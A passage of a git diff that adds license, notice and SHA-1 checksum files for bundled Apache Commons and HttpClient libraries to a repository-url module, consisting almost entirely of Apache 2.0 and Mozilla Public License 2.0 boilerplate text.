made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/modules/repository-url/licenses/commons-codec-NOTICE.txt b/modules/repository-url/licenses/commons-codec-NOTICE.txt new file mode 100644 index 0000000000000..56916449bbe10 --- /dev/null +++ b/modules/repository-url/licenses/commons-codec-NOTICE.txt @@ -0,0 +1,17 @@ +Apache Commons Codec +Copyright 2002-2015 The Apache Software Foundation + +This product includes software developed at +The Apache Software Foundation (http://www.apache.org/). + +src/test/org/apache/commons/codec/language/DoubleMetaphoneTest.java +contains test data from http://aspell.net/test/orig/batch0.tab. +Copyright (C) 2002 Kevin Atkinson (kevina@gnu.org) + +=============================================================================== + +The content of package org.apache.commons.codec.language.bm has been translated +from the original php source code available at http://stevemorse.org/phoneticinfo.htm +with permission from the original authors. +Original source copyright: +Copyright (c) 2008 Alexander Beider & Stephen P. Morse. diff --git a/modules/repository-url/licenses/commons-logging-1.1.3.jar.sha1 b/modules/repository-url/licenses/commons-logging-1.1.3.jar.sha1 new file mode 100644 index 0000000000000..5b8f029e58293 --- /dev/null +++ b/modules/repository-url/licenses/commons-logging-1.1.3.jar.sha1 @@ -0,0 +1 @@ +f6f66e966c70a83ffbdb6f17a0919eaf7c8aca7f \ No newline at end of file diff --git a/modules/repository-url/licenses/commons-logging-LICENSE.txt b/modules/repository-url/licenses/commons-logging-LICENSE.txt new file mode 100644 index 0000000000000..57bc88a15a0ee --- /dev/null +++ b/modules/repository-url/licenses/commons-logging-LICENSE.txt @@ -0,0 +1,202 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + diff --git a/modules/repository-url/licenses/commons-logging-NOTICE.txt b/modules/repository-url/licenses/commons-logging-NOTICE.txt new file mode 100644 index 0000000000000..72eb32a902458 --- /dev/null +++ b/modules/repository-url/licenses/commons-logging-NOTICE.txt @@ -0,0 +1,5 @@ +Apache Commons CLI +Copyright 2001-2009 The Apache Software Foundation + +This product includes software developed by +The Apache Software Foundation (http://www.apache.org/). diff --git a/modules/repository-url/licenses/httpclient-4.5.10.jar.sha1 b/modules/repository-url/licenses/httpclient-4.5.10.jar.sha1 new file mode 100644 index 0000000000000..b708efd0dd57f --- /dev/null +++ b/modules/repository-url/licenses/httpclient-4.5.10.jar.sha1 @@ -0,0 +1 @@ +7ca2e4276f4ef95e4db725a8cd4a1d1e7585b9e5 \ No newline at end of file diff --git a/modules/repository-url/licenses/httpclient-LICENSE.txt b/modules/repository-url/licenses/httpclient-LICENSE.txt new file mode 100644 index 0000000000000..32f01eda18fe9 --- /dev/null +++ b/modules/repository-url/licenses/httpclient-LICENSE.txt @@ -0,0 +1,558 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + +========================================================================= + +This project includes Public Suffix List copied from + +licensed under the terms of the Mozilla Public License, v. 2.0 + +Full license text: + +Mozilla Public License Version 2.0 +================================== + +1. Definitions +-------------- + +1.1. "Contributor" + means each individual or legal entity that creates, contributes to + the creation of, or owns Covered Software. + +1.2. "Contributor Version" + means the combination of the Contributions of others (if any) used + by a Contributor and that particular Contributor's Contribution. + +1.3. "Contribution" + means Covered Software of a particular Contributor. + +1.4. "Covered Software" + means Source Code Form to which the initial Contributor has attached + the notice in Exhibit A, the Executable Form of such Source Code + Form, and Modifications of such Source Code Form, in each case + including portions thereof. + +1.5. "Incompatible With Secondary Licenses" + means + + (a) that the initial Contributor has attached the notice described + in Exhibit B to the Covered Software; or + + (b) that the Covered Software was made available under the terms of + version 1.1 or earlier of the License, but not also under the + terms of a Secondary License. + +1.6. "Executable Form" + means any form of the work other than Source Code Form. + +1.7. "Larger Work" + means a work that combines Covered Software with other material, in + a separate file or files, that is not Covered Software. + +1.8. "License" + means this document. + +1.9. "Licensable" + means having the right to grant, to the maximum extent possible, + whether at the time of the initial grant or subsequently, any and + all of the rights conveyed by this License. + +1.10. "Modifications" + means any of the following: + + (a) any file in Source Code Form that results from an addition to, + deletion from, or modification of the contents of Covered + Software; or + + (b) any new file in Source Code Form that contains any Covered + Software. + +1.11. "Patent Claims" of a Contributor + means any patent claim(s), including without limitation, method, + process, and apparatus claims, in any patent Licensable by such + Contributor that would be infringed, but for the grant of the + License, by the making, using, selling, offering for sale, having + made, import, or transfer of either its Contributions or its + Contributor Version. + +1.12. "Secondary License" + means either the GNU General Public License, Version 2.0, the GNU + Lesser General Public License, Version 2.1, the GNU Affero General + Public License, Version 3.0, or any later versions of those + licenses. + +1.13. "Source Code Form" + means the form of the work preferred for making modifications. + +1.14. "You" (or "Your") + means an individual or a legal entity exercising rights under this + License. For legal entities, "You" includes any entity that + controls, is controlled by, or is under common control with You. For + purposes of this definition, "control" means (a) the power, direct + or indirect, to cause the direction or management of such entity, + whether by contract or otherwise, or (b) ownership of more than + fifty percent (50%) of the outstanding shares or beneficial + ownership of such entity. + +2. License Grants and Conditions +-------------------------------- + +2.1. Grants + +Each Contributor hereby grants You a world-wide, royalty-free, +non-exclusive license: + +(a) under intellectual property rights (other than patent or trademark) + Licensable by such Contributor to use, reproduce, make available, + modify, display, perform, distribute, and otherwise exploit its + Contributions, either on an unmodified basis, with Modifications, or + as part of a Larger Work; and + +(b) under Patent Claims of such Contributor to make, use, sell, offer + for sale, have made, import, and otherwise transfer either its + Contributions or its Contributor Version. + +2.2. Effective Date + +The licenses granted in Section 2.1 with respect to any Contribution +become effective for each Contribution on the date the Contributor first +distributes such Contribution. + +2.3. Limitations on Grant Scope + +The licenses granted in this Section 2 are the only rights granted under +this License. No additional rights or licenses will be implied from the +distribution or licensing of Covered Software under this License. +Notwithstanding Section 2.1(b) above, no patent license is granted by a +Contributor: + +(a) for any code that a Contributor has removed from Covered Software; + or + +(b) for infringements caused by: (i) Your and any other third party's + modifications of Covered Software, or (ii) the combination of its + Contributions with other software (except as part of its Contributor + Version); or + +(c) under Patent Claims infringed by Covered Software in the absence of + its Contributions. + +This License does not grant any rights in the trademarks, service marks, +or logos of any Contributor (except as may be necessary to comply with +the notice requirements in Section 3.4). + +2.4. Subsequent Licenses + +No Contributor makes additional grants as a result of Your choice to +distribute the Covered Software under a subsequent version of this +License (see Section 10.2) or under the terms of a Secondary License (if +permitted under the terms of Section 3.3). + +2.5. Representation + +Each Contributor represents that the Contributor believes its +Contributions are its original creation(s) or it has sufficient rights +to grant the rights to its Contributions conveyed by this License. + +2.6. Fair Use + +This License is not intended to limit any rights You have under +applicable copyright doctrines of fair use, fair dealing, or other +equivalents. + +2.7. Conditions + +Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted +in Section 2.1. + +3. Responsibilities +------------------- + +3.1. Distribution of Source Form + +All distribution of Covered Software in Source Code Form, including any +Modifications that You create or to which You contribute, must be under +the terms of this License. You must inform recipients that the Source +Code Form of the Covered Software is governed by the terms of this +License, and how they can obtain a copy of this License. You may not +attempt to alter or restrict the recipients' rights in the Source Code +Form. + +3.2. Distribution of Executable Form + +If You distribute Covered Software in Executable Form then: + +(a) such Covered Software must also be made available in Source Code + Form, as described in Section 3.1, and You must inform recipients of + the Executable Form how they can obtain a copy of such Source Code + Form by reasonable means in a timely manner, at a charge no more + than the cost of distribution to the recipient; and + +(b) You may distribute such Executable Form under the terms of this + License, or sublicense it under different terms, provided that the + license for the Executable Form does not attempt to limit or alter + the recipients' rights in the Source Code Form under this License. + +3.3. Distribution of a Larger Work + +You may create and distribute a Larger Work under terms of Your choice, +provided that You also comply with the requirements of this License for +the Covered Software. If the Larger Work is a combination of Covered +Software with a work governed by one or more Secondary Licenses, and the +Covered Software is not Incompatible With Secondary Licenses, this +License permits You to additionally distribute such Covered Software +under the terms of such Secondary License(s), so that the recipient of +the Larger Work may, at their option, further distribute the Covered +Software under the terms of either this License or such Secondary +License(s). + +3.4. Notices + +You may not remove or alter the substance of any license notices +(including copyright notices, patent notices, disclaimers of warranty, +or limitations of liability) contained within the Source Code Form of +the Covered Software, except that You may alter any license notices to +the extent required to remedy known factual inaccuracies. + +3.5. Application of Additional Terms + +You may choose to offer, and to charge a fee for, warranty, support, +indemnity or liability obligations to one or more recipients of Covered +Software. However, You may do so only on Your own behalf, and not on +behalf of any Contributor. You must make it absolutely clear that any +such warranty, support, indemnity, or liability obligation is offered by +You alone, and You hereby agree to indemnify every Contributor for any +liability incurred by such Contributor as a result of warranty, support, +indemnity or liability terms You offer. You may include additional +disclaimers of warranty and limitations of liability specific to any +jurisdiction. + +4. Inability to Comply Due to Statute or Regulation +--------------------------------------------------- + +If it is impossible for You to comply with any of the terms of this +License with respect to some or all of the Covered Software due to +statute, judicial order, or regulation then You must: (a) comply with +the terms of this License to the maximum extent possible; and (b) +describe the limitations and the code they affect. Such description must +be placed in a text file included with all distributions of the Covered +Software under this License. Except to the extent prohibited by statute +or regulation, such description must be sufficiently detailed for a +recipient of ordinary skill to be able to understand it. + +5. Termination +-------------- + +5.1. The rights granted under this License will terminate automatically +if You fail to comply with any of its terms. However, if You become +compliant, then the rights granted under this License from a particular +Contributor are reinstated (a) provisionally, unless and until such +Contributor explicitly and finally terminates Your grants, and (b) on an +ongoing basis, if such Contributor fails to notify You of the +non-compliance by some reasonable means prior to 60 days after You have +come back into compliance. Moreover, Your grants from a particular +Contributor are reinstated on an ongoing basis if such Contributor +notifies You of the non-compliance by some reasonable means, this is the +first time You have received notice of non-compliance with this License +from such Contributor, and You become compliant prior to 30 days after +Your receipt of the notice. + +5.2. If You initiate litigation against any entity by asserting a patent +infringement claim (excluding declaratory judgment actions, +counter-claims, and cross-claims) alleging that a Contributor Version +directly or indirectly infringes any patent, then the rights granted to +You by any and all Contributors for the Covered Software under Section +2.1 of this License shall terminate. + +5.3. In the event of termination under Sections 5.1 or 5.2 above, all +end user license agreements (excluding distributors and resellers) which +have been validly granted by You or Your distributors under this License +prior to termination shall survive termination. + +************************************************************************ +* * +* 6. Disclaimer of Warranty * +* ------------------------- * +* * +* Covered Software is provided under this License on an "as is" * +* basis, without warranty of any kind, either expressed, implied, or * +* statutory, including, without limitation, warranties that the * +* Covered Software is free of defects, merchantable, fit for a * +* particular purpose or non-infringing. The entire risk as to the * +* quality and performance of the Covered Software is with You. * +* Should any Covered Software prove defective in any respect, You * +* (not any Contributor) assume the cost of any necessary servicing, * +* repair, or correction. This disclaimer of warranty constitutes an * +* essential part of this License. No use of any Covered Software is * +* authorized under this License except under this disclaimer. * +* * +************************************************************************ + +************************************************************************ +* * +* 7. Limitation of Liability * +* -------------------------- * +* * +* Under no circumstances and under no legal theory, whether tort * +* (including negligence), contract, or otherwise, shall any * +* Contributor, or anyone who distributes Covered Software as * +* permitted above, be liable to You for any direct, indirect, * +* special, incidental, or consequential damages of any character * +* including, without limitation, damages for lost profits, loss of * +* goodwill, work stoppage, computer failure or malfunction, or any * +* and all other commercial damages or losses, even if such party * +* shall have been informed of the possibility of such damages. This * +* limitation of liability shall not apply to liability for death or * +* personal injury resulting from such party's negligence to the * +* extent applicable law prohibits such limitation. Some * +* jurisdictions do not allow the exclusion or limitation of * +* incidental or consequential damages, so this exclusion and * +* limitation may not apply to You. * +* * +************************************************************************ + +8. Litigation +------------- + +Any litigation relating to this License may be brought only in the +courts of a jurisdiction where the defendant maintains its principal +place of business and such litigation shall be governed by laws of that +jurisdiction, without reference to its conflict-of-law provisions. +Nothing in this Section shall prevent a party's ability to bring +cross-claims or counter-claims. + +9. Miscellaneous +---------------- + +This License represents the complete agreement concerning the subject +matter hereof. If any provision of this License is held to be +unenforceable, such provision shall be reformed only to the extent +necessary to make it enforceable. Any law or regulation which provides +that the language of a contract shall be construed against the drafter +shall not be used to construe this License against a Contributor. + +10. Versions of the License +--------------------------- + +10.1. New Versions + +Mozilla Foundation is the license steward. Except as provided in Section +10.3, no one other than the license steward has the right to modify or +publish new versions of this License. Each version will be given a +distinguishing version number. + +10.2. Effect of New Versions + +You may distribute the Covered Software under the terms of the version +of the License under which You originally received the Covered Software, +or under the terms of any subsequent version published by the license +steward. + +10.3. Modified Versions + +If you create software not governed by this License, and you want to +create a new license for such software, you may create and use a +modified version of this License if you rename the license and remove +any references to the name of the license steward (except to note that +such modified license differs from this License). + +10.4. Distributing Source Code Form that is Incompatible With Secondary +Licenses + +If You choose to distribute Source Code Form that is Incompatible With +Secondary Licenses under the terms of this version of the License, the +notice described in Exhibit B of this License must be attached. + +Exhibit A - Source Code Form License Notice +------------------------------------------- + + This Source Code Form is subject to the terms of the Mozilla Public + License, v. 2.0. If a copy of the MPL was not distributed with this + file, You can obtain one at http://mozilla.org/MPL/2.0/. + +If it is not possible or desirable to put the notice in a particular +file, then You may include the notice in a location (such as a LICENSE +file in a relevant directory) where a recipient would be likely to look +for such a notice. + +You may add additional accurate notices of copyright ownership. + +Exhibit B - "Incompatible With Secondary Licenses" Notice +--------------------------------------------------------- + + This Source Code Form is "Incompatible With Secondary Licenses", as + defined by the Mozilla Public License, v. 2.0. diff --git a/modules/repository-url/licenses/httpclient-NOTICE.txt b/modules/repository-url/licenses/httpclient-NOTICE.txt new file mode 100644 index 0000000000000..91e5c40c4c6d3 --- /dev/null +++ 